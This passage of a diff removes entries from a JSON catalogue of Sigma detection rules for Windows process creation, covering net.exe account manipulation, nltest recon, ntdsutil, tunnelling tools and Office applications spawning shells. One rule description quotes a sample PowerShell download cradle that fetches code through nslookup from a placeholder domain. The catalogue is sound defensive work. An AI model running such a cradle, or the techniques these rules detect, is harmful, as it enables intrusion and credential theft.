"ba1f7802-adc7-48b4-9ecb-81e227fddfd5", - "value": "Network Sniffing" - }, - { - "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/01", - "falsepositive": [ - "Some fasle positives could occure with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium" - ], - "filename": "proc_creation_win_net_default_accounts_manipulation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "5b768e71-86f2-4879-b448-81061cbae951", - "value": "Suspicious Manipulation Of Default Accounts" - }, - { - "description": "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool.", - "meta": { - "author": "Endgame, JHasenbusch (ported for oscd.community)", - "creation_date": "2018/10/30", - "falsepositive": [ - "Legitimate use of net.exe utility by legitimate user" - ], - "filename": "proc_creation_win_net_enum.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ] - }, - "uuid": "62510e69-616b-4078-b371-847da438cc03", - "value": "Windows Network Enumeration" - }, - { - "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE", - "meta": { - "author": "Florian Roth, omkar72, @svch0st, Nasreddine Bencherchali", - "creation_date": "2019/01/16", - "falsepositive": [ - "Inventory tool runs", - "Administrative activity" - ], - "filename": "proc_creation_win_net_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001", - "attack.t1087.002" - ] - }, - "uuid": "d95de845-b83c-4a9a-8a6a-4fc802ebf6c0", - "value": "Suspicious Reconnaissance Activity Using Net" - }, - { - "description": "Identifies creation of local users via the net.exe command.", - "meta": { - "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)", - "creation_date": "2018/10/30", - "falsepositive": [ - "Legitimate user creation.", - "Better use event IDs for user creation rather than command line rules." - ], - "filename": "proc_creation_win_net_user_add.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", - "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ] - }, - "uuid": "cd219ff3-fa99-45d4-8380-a7d15116c6dc", - "value": "Net.exe User Account Creation" - }, - { - "description": "Detects creation of local users via the net.exe command with the option \"never expire\"", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/12", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_net_user_add_never_expire.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml", - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ] - }, - "uuid": "b9f0e6f5-09b4-4358-bae4-08408705bd5c", - "value": "Net.exe User Account Creation - Never Expire" - }, - { - "description": "Detects when an admin share is mounted using net.exe", - "meta": { - "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga", - "creation_date": "2020/10/05", - "falsepositive": [ - "Administrators" - ], - "filename": "proc_creation_win_net_use_admin_share.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_admin_share.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "3abd6094-7027-475f-9630-8ab9be7b9725", - "value": "Mounted Windows Admin Shares with net.exe" - }, - { - "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/23", - "falsepositive": [ - "Other legitimate network providers used and not filtred in this rule" - ], - "filename": "proc_creation_win_new_network_provider.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", - "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "baef1ec6-2ca9-47a3-97cc-4cf2bda10b77", - "value": "New Network Provider - CommandLine" - }, - { - "description": "Detects creation of a new service.", - "meta": { - "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Legitimate administrator or user creates a service for legitimate reasons." - ], - "filename": "proc_creation_win_new_service_creation.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_service_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "7fe71fc9-de3b-432a-8d57-8c809efc10ab", - "value": "New Service Creation" - }, - { - "description": "Detects usage of nimgrab, a tool bundled with the Nim programming framework, downloading a file. This can be normal behaviour on developer systems.", - "meta": { - "author": "frack113", - "creation_date": "2022/08/28", - "falsepositive": [ - "Legitimate use of Nim on developer systems" - ], - "filename": "proc_creation_win_nimgrab.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "74a12f18-505c-4114-8d0b-8448dd5485c6", - "value": "Nimgrab File Download" - }, - { - "description": "Detects nltest commands that can be used for information discovery", - "meta": { - "author": "Craig Young, oscd.community, Georg Lauenstein", - "creation_date": "2021/07/24", - "falsepositive": [ - "Legitimate administration use but user must be check out" - ], - "filename": "proc_creation_win_nltest_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/techniques/T1016/", - "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", - "https://attack.mitre.org/techniques/T1482/", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml", - "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/" - ], - "tags": [ - "attack.discovery", - "attack.t1016", - "attack.t1482" - ] - }, - "uuid": "5cc90652-4cbd-4241-aa3b-4b462fa5a248", - "value": "Recon Activity with NLTEST" - }, - { - "description": "Detects the execution node.exe which is shipped with multiple softwares such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_node_abuse.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://nodejs.org/api/cli.html", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml", - "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "6640f31c-01ad-49b5-beb5-83498a5cd8bd", - "value": "Node.exe Process Abuse" - }, - { - "description": "Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)", - "creation_date": "2019/09/12", - "falsepositive": [ - "Legitimate programs executing PowerShell scripts" - ], - "filename": "proc_creation_win_non_interactive_powershell.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_interactive_powershell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f4bbd493-b796-416e-bbf2-121235348529", - "value": "Non Interactive PowerShell" - }, - { - "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community", - "creation_date": "2020/10/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_non_priv_reg_or_ps.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml", - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "8f02c935-effe-45b3-8fc9-ef8696a9e41d", - "value": "Non-privileged Usage of Reg or Powershell" - }, - { - "description": "Detects the use of NPS a port forwarding tool", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/10/08", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_nps.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml", - "https://github.com/ehang-io/nps" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "68d37776-61db-42f5-bf54-27e87072d17e", - "value": "NPS Tunneling Tool" - }, - { - "description": "Detects usage of powershell in conjunction with nslookup as a mean of download.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_nslookup_poweshell_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml", - "https://twitter.com/Alh4zr3d/status/1566489367232651264" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", - "value": "Nslookup PowerShell Download" - }, - { - "description": "This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]", - "meta": { - "author": "Zach Mathis (@yamatosecurity)", - "creation_date": "2022/09/06", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_nslookup_pwsh_download_cradle.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_pwsh_download_cradle.yml", - "https://twitter.com/alh4zr3d/status/1566489367232651264" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105", - "attack.t1071.004" - ] - }, - "uuid": "72671447-4352-4413-bb91-b85569687135", - "value": "Nslookup PwSh Download Cradle" - }, - { - "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/01/16", - "falsepositive": [ - "NTDS maintenance" - ], - "filename": "proc_creation_win_ntdsutil_usage.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "2afafd61-6aae-4df4-baed-139fa1f4c345", - "value": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)" - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/07", - "falsepositive": [ - "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process." - ], - "filename": "proc_creation_win_ntfs_short_name_path_use_cli.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml", - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/frack113/status/1555830623633375232" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "349d891d-fef0-4fe4-bc53-eee623a15969", - "value": "Use Short Name Path in Command Line" - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/07", - "falsepositive": [ - "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." - ], - "filename": "proc_creation_win_ntfs_short_name_path_use_image.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/frack113/status/1555830623633375232", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_image.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "a96970af-f126-420d-90e1-d37bf25e50e1", - "value": "Use Short Name Path in Image" - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." - ], - "filename": "proc_creation_win_ntfs_short_name_use_cli.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/jonasLyk/status/1555914501802921984", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_cli.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "dd6b39d9-d9be-4a3b-8fe0-fe3c6a5c1795", - "value": "Use NTFS Short Name in Command Line" - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_ntfs_short_name_use_image.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml", - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/jonasLyk/status/1555914501802921984" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b", - "value": "Use NTFS Short Name in Image" - }, - { - "description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_obfuscated_ip_download.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://h.43z.one/ipconverter/", - "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_download.yml" - ], - "tags": [ - "attack.discovery" - ] - }, - "uuid": "cb5a2333-56cf-4562-8fcb-22ba1bca728d", - "value": "Obfuscated IP Download" - }, - { - "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal...) via commandline", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_obfuscated_ip_via_cli.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://h.43z.one/ipconverter/", - "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_via_cli.yml" - ], - "tags": [ - "attack.discovery" - ] - }, - "uuid": "56d19cb4-6414-4769-9644-1ed35ffbb148", - "value": "Obfuscated IP Via CLI" - }, - { - "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", - "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_office_applications_spawning_wmi_commandline.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_applications_spawning_wmi_commandline.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "518643ba-7d9c-4fa5-9f37-baed36059f6a", - "value": "Office Applications Spawning Wmi Cli" - }, - { - "description": "Detects Office Applications executing a Windows child process including directory traversal patterns", - "meta": { - "author": "@SBousseaden (idea), Christian Burkard (rule)", - "creation_date": "2022/06/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_office_dir_traversal_cli.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/sbousseaden/status/1531653369546301440", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_dir_traversal_cli.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "868955d9-697e-45d4-a3da-360cefd7c216", - "value": "Office Directory Traversal CommandLine" - }, - { - "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", - "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "9d1c72f5-43f0-4da5-9320-648cf2099dd0", - "value": "Excel Proxy Executing Regsvr32 With Payload" - }, - { - "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", - "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "c0e1c3d5-4381-4f18-8145-2583f06a1fe5", - "value": "Excel Proxy Executing Regsvr32 With Payload" - }, - { - "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio", - "meta": { - "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", - "creation_date": "2018/04/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_office_shell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml", - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "438025f9-5856-4663-83f7-52f878a70a50", - "value": "Microsoft Office Product Spawning Windows Shell" - }, - { - "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", - "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_office_spawning_wmi_commandline.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawning_wmi_commandline.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "04f5363a-6bca-42ff-be70-0d28bf629ead", - "value": "Office Applications Spawning Wmi Cli" - }, - { - "description": "Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio", - "meta": { - "author": "Jason Lynch", - "creation_date": "2019/04/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_office_spawn_exe_from_users_directory.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml", - "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign", - "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.g0046", - "car.2013-05-002" - ] - }, - "uuid": "aa3a6f94-890e-4e22-b634-ffdfd54792cc", - "value": "MS Office Product Spawning Exe in User Dir" - }, - { - "description": "Detects svchost process spawning an instance of an office application. This happens when the initial word application create an instance of one of the office COM objects such as 'Word.Application', 'Excel.Application'...etc. This can be used by malicious actor to create a malicious office document with macros on the fly. (See vba2clr project in reference)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/13", - "falsepositive": [ - "Legitimate usage of office automation via scripting" - ], - "filename": "proc_creation_win_office_svchost_child.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/med0x2e/vba2clr", - "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_child.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "9bdaf1e9-fdef-443b-8081-4341b74a7e28", - "value": "Svchost Spawning Office Application" - }, - { - "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Outlook", - "meta": { - "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", - "creation_date": "2022/02/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_outlook_shell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_outlook_shell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d", - "value": "Microsoft Outlook Product Spawning Windows Shell" - }, - { - "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/22", - "falsepositive": [ - "Legitimate use of the PDQDeploy tool to execute these commands" - ], - "filename": "proc_creation_win_pdqdeploy_runner_susp_children.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml", - "https://twitter.com/malmoeb/status/1550483085472432128" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "12b8e9f5-96b2-41e1-9a42-8c6779a5c184", - "value": "Suspicious Execution Of PDQDeployRunner" - }, - { - "description": "Detect use of PDQ Deploy remote admin tool", - "meta": { - "author": "frack113", - "creation_date": "2022/10/01", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_pdq_deploy.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml", - "https://www.pdq.com/pdq-deploy/", - 